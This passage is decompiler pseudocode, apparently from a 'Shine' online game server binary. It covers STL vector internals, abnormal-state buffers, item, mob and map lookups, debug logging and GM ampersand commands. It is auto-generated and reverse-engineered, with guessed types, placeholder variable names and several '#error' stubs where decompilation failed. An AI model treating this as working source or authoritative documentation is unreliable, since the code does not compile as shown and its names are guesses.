20 * _Count), (AbnormalStateShelter::AbstateBuffer *)&_Tmp); } else { std::_Uninit_copy>( *(AbnormalStateShelter::AbstateBuffer **)&_Where, v20, (AbnormalStateShelter::AbstateBuffer *)(*(_DWORD *)&_Where + 20 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v22 = v4->_Mylast; v23 = v4->_Mylast; LOBYTE(v31) = 3; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 20, (AbnormalStateShelter::AbstateBuffer *)&_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (AbnormalStateShelter::AbstateBuffer *)v24; v31 = 0; std::fill( *(AbnormalStateShelter::AbstateBuffer **)&_Where, (AbnormalStateShelter::AbstateBuffer *)(v24 - 20 * _Count), (AbnormalStateShelter::AbstateBuffer *)&_Tmp); } } else { if ( (unsigned int)(&ddt.ddt_Table[2021][1471].direct - (v7 >> 1)) >= v7 ) v12 = (v7 >> 1) + v7; else v12 = 0; if ( v6 ) v13 = v4->_Mylast - v6; else v13 = 0; if ( v12 < _Count + v13 ) v12 = _Count + std::vector>::size(v4); _Vala = 20 * v12; v14 = operator new(20 * v12); v15 = v14; v16 = v4->_Myfirst; _Newvec = v14; LOBYTE(v31) = 1; _Ptr = std::_Uninit_copy>( v16, *(AbnormalStateShelter::AbstateBuffer **)&_Where, (AbnormalStateShelter::AbstateBuffer *)v14, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v9, (AbnormalStateShelter::AbstateBuffer *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(AbnormalStateShelter::AbstateBuffer **)&_Where, v4->_Mylast, &_Ptr[v9], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = (int)v4->_Myfirst; v31 = 0; if ( v17 ) v17 = (signed int)((char *)v4->_Mylast - v17) / 20; v18 = v17 + v9; v19 = v4->_Myfirst; if ( v19 ) { std::vector>::_Destroy( v4, v19, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (AbnormalStateShelter::AbstateBuffer *)((char *)v15 + _Vala); v4->_Mylast = (AbnormalStateShelter::AbstateBuffer *)((char *)v15 + 20 * v18); v4->_Myfirst = (AbnormalStateShelter::AbstateBuffer *)v15; } } v31 = -1; std::vector>::_Tidy(&thisa); } //----- (004139E0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, AbnormalStateShelter::AbstateBuffer *_Val) { std::vector > *v4; // edi@1 AbnormalStateShelter::AbstateBuffer *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00413A50) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 AbnormalStateShelter::AbstateBuffer *v2; // esi@1 AbnormalStateShelter::AbstateBuffer *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) AbnormalStateShelter::AbstateBuffer::_AbstateBuffer(v2); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (00413AA0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, AbnormalStateShelter::AbstateBuffer *_Val) { std::vector > *v2; // esi@1 AbnormalStateShelter::AbstateBuffer *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 AbnormalStateShelter::AbstateBuffer *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00413B40) -------------------------------------------------------- AbnormalStateShelter::AbstateBuffer *__thiscall AbnormalStateShelter::AbstateShelter::operator__(AbnormalStateShelter::AbstateShelter *this, unsigned int regnum) { AbnormalStateShelter::AbstateShelter *v2; // esi@1 AbnormalStateShelter::AbstateBuffer *v3; // ecx@1 int v4; // ebx@1 unsigned int v5; // edi@1 int v6; // esi@6 unsigned int v7; // edi@7 int v8; // ebx@7 AbnormalStateShelter::AbstateBuffer *v9; // ecx@13 int v10; // eax@14 unsigned int tmp; // [sp+14h] [bp-20h]@13 int v13; // [sp+1Ch] [bp-18h]@13 int v14; // [sp+20h] [bp-14h]@13 int v15; // [sp+24h] [bp-10h]@13 int v16; // [sp+30h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateShelter::AbstateShelter::operator []"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateShelter::AbstateShelter::operator []"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->as_Safe._Myfirst; v4 = 0; v16 = 0; v5 = 0; while ( v3 && v5 < v2->as_Safe._Mylast - v3 ) { if ( v3[v4].ab_Master == regnum ) { v6 = (int)&v3[v5]; goto LABEL_17; } ++v5; ++v4; } v7 = 0; v8 = 0; while ( v3 && v7 < v2->as_Safe._Mylast - v3 ) { if ( v3[v8].ab_Master == -1 ) { v3[v7].ab_Master = regnum; v6 = (int)&v2->as_Safe._Myfirst[v7]; goto LABEL_17; } ++v7; ++v8; } v13 = 0; v14 = 0; v15 = 0; LOBYTE(v16) = 1; tmp = regnum; std::vector>::push_back( &v2->as_Safe, (AbnormalStateShelter::AbstateBuffer *)&tmp); v9 = v2->as_Safe._Myfirst; if ( v9 ) v10 = v2->as_Safe._Mylast - v9; else v10 = 0; v6 = (int)&v9[v10 - 1]; LABEL_17: --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateShelter::AbstateShelter::operator []"); return (AbnormalStateShelter::AbstateBuffer *)v6; } //----- (00413CA0) -------------------------------------------------------- #error "413CA0: undefined or illegal type '#593' (funcsize=40)" //----- (00413D60) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_REBIRTH_REJECT_CMD(int this, int netcmd, int len, __int16 handle) { int v4; // ebx@1 int v5; // ebp@1 signed __int64 v6; // qax@1 std::vector >::iterator v7; // esi@3 std::vector >::iterator result; // [sp+Ch] [bp-4h]@2 v4 = this; LODWORD(v6) = AbnormalStateShelter::AbstateShelter::operator__(&g_AbstateShelter, *(_DWORD *)(this + 32171)); v5 = v6; LODWORD(v6) = *(_DWORD *)(v6 + 8); if ( (_DWORD)v6 ) { v6 = 1272582903i64 * (*(_DWORD *)(v5 + 12) - (signed int)v6); result = (std::vector >::iterator)((SHIDWORD(v6) >> 5) + (HIDWORD(v6) >> 31)); if ( result ) { LODWORD(v6) = *(_DWORD *)(v5 + 12); v7 = *(std::vector >::iterator *)(v5 + 8); if ( v7 != (_DWORD)v6 ) { do { LODWORD(v6) = AbnormalStateContainer::AbstateElementInObject::aeo_GetIndexStrength(*(AbnormalStateContainer::AbstateElementInObject **)&v7); if ( !(_DWORD)v6 ) break; if ( *(_DWORD *)(*(_DWORD *)v6 + 34) == 405 ) { LODWORD(v6) = std::vector>::erase( (std::vector > *)(v5 + 4), &result, v7); v7 = *(std::vector >::iterator *)v6; } else { *(_DWORD *)&v7 += 108; } } while ( v7 != *(_DWORD *)(v5 + 12) ); } } } *(_BYTE *)(v4 + 143900) = 0; *(_DWORD *)(v4 + 143904) = 0; return v6; } //----- (00413E00) -------------------------------------------------------- void __thiscall Name3::Name3(Name3 *this, const char *str) { *(_QWORD *)&this->n3_name[4] = 0i64; *(_DWORD *)&this->n3_name[0] = 0; strncpy(this->n3_name, str, 0xCu); } //----- (00413E30) -------------------------------------------------------- void __thiscall Name3::operator_(Name3 *this, const char *nm) { *(_QWORD *)&this->n3_name[4] = 0i64; *(_DWORD *)&this->n3_name[0] = 0; strncpy(this->n3_name, nm, 0xCu); } //----- (00413E50) -------------------------------------------------------- void __thiscall Name4::Name4(Name4 *this, const char *str) { *(_QWORD *)&this->n4_name[8] = 0i64; *(_QWORD *)&this->n4_name[0] = 0i64; strncpy(this->n4_name, str, 0x10u); } //----- (00413E80) -------------------------------------------------------- int __thiscall ORToken::operator_(int this, int a2) { int result; // eax@1 *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); result = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 16) = result; return result; } //----- (00413EB0) -------------------------------------------------------- void __thiscall ORToken::ORToken(ORToken *this, const char *str) { *(_QWORD *)&this->ort_Name[12] = 0i64; *(_QWORD *)&this->ort_Name[4] = 0i64; *(_DWORD *)&this->ort_Name[0] = 0; strncpy(this->ort_Name, str, 0x14u); } //----- (00413EE0) -------------------------------------------------------- char *__thiscall NameString::operator__(NameString *this, Name3 *a) { unsigned int v2; // eax@1 char *result; // eax@1 v2 = this->ns_point.mask & (this->ns_point.value + 1); this->ns_point.value = v2; result = (char *)this + 256 * v2; *(_QWORD *)result = *(_QWORD *)&a->n3_name[0]; *((_DWORD *)result + 2) = *(_DWORD *)&a->n3_name[8]; result[12] = 0; return result; } //----- (00413F20) -------------------------------------------------------- void __thiscall AxialListMobSuicide::_AxialListMobSuicide(AxialListMobSuicide *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobSuicide::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 633D2C: using guessed type int (__thiscall *AxialListMobSuicide___vftable_)(AxialListMobSuicide *this, int, #593 *obj, int distancesquar); //----- (00413F30) -------------------------------------------------------- NPCManager::NPCIndexArray *__thiscall NPCManager::nm_FindNPCFunc(NPCManager *this, unsigned __int16 hnd) { int v2; // ST08_4@1 char key; // [sp+0h] [bp-Ch]@1 unsigned __int16 v5; // [sp+8h] [bp-4h]@1 v2 = this->nm_BufferPoint; v5 = hnd; return (NPCManager::NPCIndexArray *)bsearch(&key, this, v2, 0xCu, NPCManager::nm_HandleCompare); } //----- (00413F60) -------------------------------------------------------- AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateDictionary::AbState::as_FromName(AbnormalStateDictionary::AbState *this, char *sklname) { AbnormalStateDictionary::AbState *v2; // esi@1 int v3; // eax@1 AbnormalStateDictionary::AbState::AbStateStr *result; // eax@4 v2 = this; v3 = BTree::operator__(&this->as_BTreeID, sklname); if ( v3 == -1 ) LOWORD(v3) = -1; v3 = (unsigned __int16)v3; if ( v2->as_maxhandle >= (unsigned __int16)v3 ) { result = &v2->as_AbstateArray[v3]; } else { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", v3); result = 0; } return result; } //----- (00413FC0) -------------------------------------------------------- SpecialItemIdent *__thiscall ItemDataBox::idb_SpecialItems(ItemDataBox *this) { return &this->idb_specialid; } //----- (00413FD0) -------------------------------------------------------- unsigned __int16 __thiscall ItemDataBox::idb_2itemid(ItemDataBox *this, const char *itemindex) { unsigned int v2; // eax@1 v2 = BTree::operator__(&this->idb_btree, itemindex); if ( v2 == -1 ) LOWORD(v2) = -1; return v2; } //----- (00413FF0) -------------------------------------------------------- ItemDataBox::ItemDataBoxIndex *__thiscall ItemDataBox::operator__(ItemDataBox *this, unsigned __int16 Itemid) { ItemDataBox::ItemDataBoxIndex *result; // eax@2 if ( Itemid < this->idb_maxItemhandle ) { result = &this->idb_index[Itemid]; if ( result ) { if ( result->data ) { if ( result->data->ID == Itemid ) return result; AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", result->data->ID + 10000 * Itemid); } } } return 0; } //----- (00414050) -------------------------------------------------------- unsigned __int16 __thiscall MobDataBox::mdb_2MobID(MobDataBox *this, const char *mobindex) { unsigned int v2; // eax@1 v2 = BTree::operator__(&this->mdb_btree, mobindex); if ( v2 == -1 ) LOWORD(v2) = -1; return v2; } //----- (00414070) -------------------------------------------------------- MobDataBox::MobDataBoxIndex *__thiscall MobDataBox::operator__(MobDataBox *this, unsigned __int16 mobid) { MobDataBox::MobDataBoxIndex *result; // eax@2 unsigned __int16 v3; // cx@4 if ( mobid <= this->mdb_maxmobhandle ) { result = &this->mdb_index[mobid]; if ( result ) { if ( result->data ) { v3 = result->data->ID; if ( v3 == mobid ) return result; AssertClass::ac_AssertFail(&shineassert, "MobDataBox::operator [] :Invalid mob index", mobid, v3); } } } return 0; } //----- (004140D0) -------------------------------------------------------- void __thiscall DebugLogging::DebugLogging(DebugLogging *this, char *filename) { char *v2; // esi@1 v2 = strcpy(this->dl_FileName, filename); *((_DWORD *)v2 + 64) = 0; EraseOldLogList(filename); v2[644] = 1; } //----- (00414110) -------------------------------------------------------- char *__thiscall DebugLogging::dl_MakeFileName(DebugLogging *this) { DebugLogging *v1; // edi@1 char *result; // eax@3 time_t timevar; // [sp+0h] [bp-4h]@1 timevar = (time_t)this; v1 = this; if ( DebugLogging::dl_ActivAll && this->dl_Activ ) { mysecond(&timevar); localtime(&timevar); sprintf(v1->dl_Date, "%04d%02d%02d"); sprintf(v1->dl_Time, "%02d:%02d:%02d"); sprintf(v1->dl_FullFileName, "%s%s%02d.txt"); result = v1->dl_FullFileName; } else { result = this->dl_FullFileName; this->dl_FullFileName[0] = 0; } return result; } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004141C0) -------------------------------------------------------- _iobuf *__thiscall DebugLogging::dl_FilePoint(DebugLogging *this) { DebugLogging *v1; // esi@1 _iobuf *result; // eax@1 _iobuf *v3; // eax@5 v1 = this; result = this->dl_FilePointer; if ( !result ) { if ( !*DebugLogging::dl_MakeFileName(this) ) { v1->dl_FilePointer = 0; return 0; } v3 = fopen(v1->dl_FullFileName, "a+"); v1->dl_FilePointer = v3; if ( !v3 ) return 0; fprintf(v3, "%s : "); result = v1->dl_FilePointer; } return result; } //----- (00414220) -------------------------------------------------------- DebugLogging *__thiscall DebugLogging::operator<<(DebugLogging *this, char *str) { DebugLogging *v2; // esi@1 char buf[256]; // [sp+4h] [bp-104h]@1 unsigned int v5; // [sp+104h] [bp-4h]@1 v2 = this; v5 = (unsigned int)buf ^ __security_cookie; if ( DebugLogging::dl_ActivAll ) { if ( this->dl_Activ ) { sprintf(buf, "%.255s"); DebugLogging::dl_FilePoint(v2); if ( v2->dl_FilePointer ) fputs(buf, v2->dl_FilePointer); } } return v2; } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004142A0) -------------------------------------------------------- void __thiscall DebugLogging::operator<<(DebugLogging *this, DebugLineFeed *lf) { DebugLogging *v2; // esi@1 _iobuf *v3; // eax@4 v2 = this; if ( DebugLogging::dl_ActivAll && this->dl_Activ ) { if ( this->dl_FilePointer ) { v3 = DebugLogging::dl_FilePoint(this); fputc(10, v3); fflush(v2->dl_FilePointer); fclose(v2->dl_FilePointer); v2->dl_FilePointer = 0; } } } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00414300) -------------------------------------------------------- int __thiscall FieldMap::fm_IsBlock(int this, int x, int y, int (__thiscall *mbi_blockfunction)(_DWORD, _DWORD, _DWORD)) { return mbi_blockfunction(*(_DWORD *)(this + 20), x, y); } //----- (00414320) -------------------------------------------------------- int __thiscall VectorClass::VectorWithLength::vwl_GetLength(int this) { return *(_DWORD *)(this + 12); } //----- (00414330) -------------------------------------------------------- int __thiscall FieldMap::fm_PlayFilm(Name3 *fldindex, char *scriptname, PineScriptToken *initval) { return Movie::CinemaComplex::cc_PlayFilm( *(Movie::CinemaComplex **)&fldindex[5].n3_name[8], scriptname, initval, fldindex); } //----- (00414350) -------------------------------------------------------- #error "414350: undefined or illegal type '#1265' (funcsize=13)" //----- (00414380) -------------------------------------------------------- void __thiscall FieldMap::fm_ScriptInterrupt(int this, void (__thiscall *checkfunc)(ScriptInterrupt::ScriptInterruptManager *, ScriptInterrupt::InterruptHappenArgument *), ScriptInterrupt::InterruptHappenArgument *arg) { Movie::CinemaComplex::cc_ScriptInterrupt(*(Movie::CinemaComplex **)(this + 68), checkfunc, arg); } //----- (00414390) -------------------------------------------------------- FieldOption *__thiscall FieldContainer::fc_GetFieldOption(FieldContainer *this) { return &this->fc_FieldOption; } //----- (004143A0) -------------------------------------------------------- int __thiscall FieldMap::fm_GetFieldBonus(void *this) { return (int)((char *)this + 76); } //----- (004143B0) -------------------------------------------------------- char __thiscall CharacterPassiveList::cpl_IsLearn(CharacterPassiveList *this, unsigned __int16 skill) { return (this->cpl_Passive.bs_bitlist[skill / 8] & (unsigned __int8)(1 << skill % 8)) != 0; } //----- (004143F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_GetDirect(int this) { return **(_BYTE **)(this + 82); } //----- (00414400) -------------------------------------------------------- ShineObjectEachList *__thiscall ShineObjectManager::som_Getlist(ShineObjectManager *this, unsigned __int16 type) { ShineObjectEachList *result; // eax@2 if ( type < 0xBu ) result = this->som_ListContainer[type]; else result = this->som_ListContainer[0]; return result; } //----- (00414430) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_GetLayer(int this) { return *(_DWORD *)(this + 94); } //----- (00414440) -------------------------------------------------------- MapInfo *__thiscall MapDataBox::operator__(MapDataBox *this, unsigned __int16 mapid) { MapInfo *result; // eax@2 if ( mapid < this->mdb_maxmapid ) result = this->mdb_index[mapid]; else result = 0; return result; } //----- (00414460) -------------------------------------------------------- unsigned __int16 __thiscall MapDataBox::mdb_2mapid(MapDataBox *this, const char *mapindex) { return BTree::operator__(&this->mdb_btree, mapindex); } //----- (00414480) -------------------------------------------------------- void __thiscall AxialListDoorAction::_AxialListDoorAction(AxialListDoorAction *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDoorAction::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 633DD0: using guessed type int (__stdcall *AxialListDoorAction___vftable_)(int, int, int distancesquar); //----- (00414490) -------------------------------------------------------- void __thiscall PROTO_KQ_MAP_INFO::PROTO_KQ_MAP_INFO(PROTO_KQ_MAP_INFO *this) { *(_QWORD *)&this->MapBase.n3_name[4] = 0i64; *(_DWORD *)&this->MapBase.n3_name[0] = 0; *(_QWORD *)&this->MapName.n3_name[4] = 0i64; *(_DWORD *)&this->MapName.n3_name[0] = 0; } //----- (004144B0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_LinktoSaveData(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { ShineObjectClass::ShinePlayer::sp_LinktoCurMapSaveData((int)sp); } //----- (004144C0) -------------------------------------------------------- #error "4144C0: undefined or illegal type '#734' (funcsize=7)" //----- (004144F0) -------------------------------------------------------- void __thiscall PROTO_PARTY_MEMBER::PROTO_PARTY_MEMBER(PROTO_PARTY_MEMBER *this) { *(_QWORD *)&this->charname.n4_name[8] = 0i64; *(_QWORD *)&this->charname.n4_name[0] = 0i64; } //----- (00414510) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_QuestStartReq(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { char *v5; // esi@1 v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 20497; *((_WORD *)v5 + 1) = -1; if ( argnum == 2 ) *((_WORD *)v5 + 1) = atoi((const char *)arg); ShineObjectClass::ShinePlayer::sp_NC_QUEST_START_REQ(sp, v5, 2, 65535); } // 548D20: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_NC_QUEST_START_REQ(_DWORD, _DWORD, _DWORD, _DWORD); //----- (00414550) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_QuestReadReq(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { int v5; // esi@1 v5 = (signed int)gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 22545; *(_WORD *)(v5 + 2) = -1; if ( argnum == 2 ) *(_WORD *)(v5 + 2) = atoi((const char *)arg); ShineObjectClass::ShinePlayer::sp_NC_QUEST_READ_REQ((void *)sp, v5, 2, -1); } //----- (00414590) -------------------------------------------------------- #error "414590: undefined or illegal type '#734' (funcsize=20)" //----- (004145D0) -------------------------------------------------------- #error "4145D0: undefined or illegal type '#734' (funcsize=113)" //----- (00414720) -------------------------------------------------------- #error "414720: undefined or illegal type '#734' (funcsize=17)" //----- (00414750) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_LuaObserver(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { if ( (*arg)[0] ) LuaScriptObserver::operator_(&g_LuaScriptObserver, sp); else LuaScriptObserver::operator_(&g_LuaScriptObserver, 0); } //----- (00414780) -------------------------------------------------------- #error "414780: undefined or illegal type '#734' (funcsize=15)" //----- (004147B0) -------------------------------------------------------- #error "4147B0: undefined or illegal type '#734' (funcsize=27)" //----- (004147F0) -------------------------------------------------------- #error "4147F0: undefined or illegal type '#734' (funcsize=13)" //----- (00414820) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector,std::allocator >,std::allocator,std::allocator > > > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 28; return result; } //----- (00414850) -------------------------------------------------------- WorldManagerSession *__thiscall SocketBundle::sb_GetSocket(SocketBundle *this) { signed int v1; // esi@1 char *v2; // edx@2 int v3; // eax@2 v1 = 0; while ( 1 ) { v2 = (char *)this + 264 * (this->sb_Pointer.mask & (this->sb_Pointer.value + 1)); this->sb_Pointer.value = this->sb_Pointer.mask & (this->sb_Pointer.value + 1); v3 = *((_DWORD *)v2 + 2); if ( v3 == 1 || v3 == 2 ) { if ( v2[264] ) break; } ++v1; if ( v1 >= 4 ) return (WorldManagerSession *)this->sb_SocketStr; } return &this->sb_SocketStr[this->sb_Pointer.value].socket; } //----- (004148B0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)AmpersandCommand::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 633E4C: using guessed type int (__stdcall *AmpersandCommand___vftable_[3])(__int16 hnd); //----- (004148D0) -------------------------------------------------------- int __thiscall std::basic_string_std::allocator>::compare(std::basic_string,std::allocator > *this, unsigned int _Off, unsigned int _N0, const char *_Ptr, unsigned int _Count) { std::basic_string,std::allocator > *v5; // esi@1 unsigned int v6; // edx@3 int v7; // ecx@6 int v8; // eax@9 int result; // eax@11 v5 = this; if ( this->_Mysize < _Off ) std::_String_base::_Xran(&this->baseclass_0.___u0.baseclass_0); v6 = _N0; if ( this->_Mysize - _Off < _N0 ) v6 = this->_Mysize - _Off; if ( !v6 ) goto LABEL_17; v7 = v6; if ( v6 >= _Count ) v7 = _Count; v8 = (int)(v5->_Myres < 0x10 ? &v5->_Bx : *(_DWORD *)&v5->_Bx._Buf[0]); result = strncmp((const char *)(v8 + _Off), _Ptr, v7); if ( !result ) { LABEL_17: if ( v6 >= _Count ) result = v6 != _Count; else result = -1; } return result; } //----- (00414950) -------------------------------------------------------- char __thiscall List::l_4AllInList(List *this, ListIteratorDefault *arg) { List *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // eax@2 int v5; // ecx@2 ListStruct *v6; // edi@3 ORTable *v7; // ebp@3 unsigned __int16 v8; // di@3 char result; // al@6 v2 = this; v3 = this->l_Array[this->l_Finger.store].ls_Next; if ( v3 >= this->l_MaxSize ) { LABEL_6: result = 1; } else { while ( 1 ) { v4 = v3; v5 = (int)&v2->l_Array[v4]; if ( !*(_BYTE *)(v5 + 8) ) break; v6 = v2->l_Array; v7 = v6[v4].ls_Content; v8 = v6[v4].ls_Next; if ( v7 ) { if ( !arg->vfptr->lid_Call(arg, *(ORTable **)v5, v3) ) break; } v3 = v8; if ( v8 >= v2->l_MaxSize ) goto LABEL_6; } result = 0; } return result; } //----- (004149C0) -------------------------------------------------------- void __thiscall ListIter_AmpCmdArgument::_ListIter_AmpCmdArgument(ListIter_AmpCmdArgument *this) { ListIter_AmpCmdArgument *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIter_AmpCmdArgument::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ListIter_AmpCmdArgument::~ListIter_AmpCmdArgument"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ListIter_AmpCmdArgument::~ListIter_AmpCmdArgument"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ListIter_AmpCmdArgument::~ListIter_AmpCmdArgument"); v1->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } // 633E9C: using guessed type int (__stdcall *ListIter_AmpCmdArgument___vftable_)(int ele, __int16 handle); // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00414A40) -------------------------------------------------------- #error "414A40: undefined or illegal type '#734' (funcsize=78)" //----- (00414B80) -------------------------------------------------------- void __thiscall ListIter_AmpCmdLevel::ListIter_AmpCmdLevel(ListIter_AmpCmdLevel *this, char *sCommand, int nAdminLevel) { ListIter_AmpCmdLevel *v3; // edi@1 char *v4; // esi@1 ListIter_AmpCmdLevel *v5; // [sp+10h] [bp-28h]@1 char sCommandBuf; // [sp+14h] [bp-24h]@1 char v7; // [sp+15h] [bp-23h]@1 unsigned int v8; // [sp+28h] [bp-10h]@1 int v9; // [sp+34h] [bp-4h]@1 v3 = this; v8 = (unsigned int)&v5 ^ __security_cookie; v5 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIter_AmpCmdLevel::_vftable_; v4 = (char *)&this->liaml_sCommand; v9 = 0; *(_QWORD *)&this->liaml_sCommand.n5_name[12] = 0i64; *(_QWORD *)&this->liaml_sCommand.n5_name[4] = 0i64; *(_DWORD *)&this->liaml_sCommand.n5_name[0] = 0; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ListIter_AmpCmdLevel::ListIter_AmpCmdLevel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ListIter_AmpCmdLevel::ListIter_AmpCmdLevel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; sCommandBuf = 38; strncpy(&v7, sCommand, 0x13u); *((_DWORD *)v4 + 4) = 0; *((_DWORD *)v4 + 3) = 0; *((_DWORD *)v4 + 2) = 0; *((_DWORD *)v4 + 1) = 0; *(_DWORD *)v4 = 0; strncpy(v4, &sCommandBuf, 0x14u); v3->liaml_nAdminLevel = nAdminLevel; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ListIter_AmpCmdLevel::ListIter_AmpCmdLevel"); __security_check_cookie((unsigned int)&v5 ^ v8); } // 633EF0: using guessed type int (__stdcall *ListIter_AmpCmdLevel___vftable_)(int ele, __int16 handle); //----- (00414C80) -------------------------------------------------------- void __thiscall ListIter_AmpCmdLevel::_ListIter_AmpCmdLevel(ListIter_AmpCmdLevel *this) { ListIter_AmpCmdLevel *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIter_AmpCmdLevel::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ListIter_AmpCmdLevel::~ListIter_AmpCmdLevel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ListIter_AmpCmdLevel::~ListIter_AmpCmdLevel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ListIter_AmpCmdLevel::~ListIter_AmpCmdLevel"); v1->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } // 633EF0: using guessed type int (__stdcall *ListIter_AmpCmdLevel___vftable_)(int ele, __int16 handle); // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00414D00) 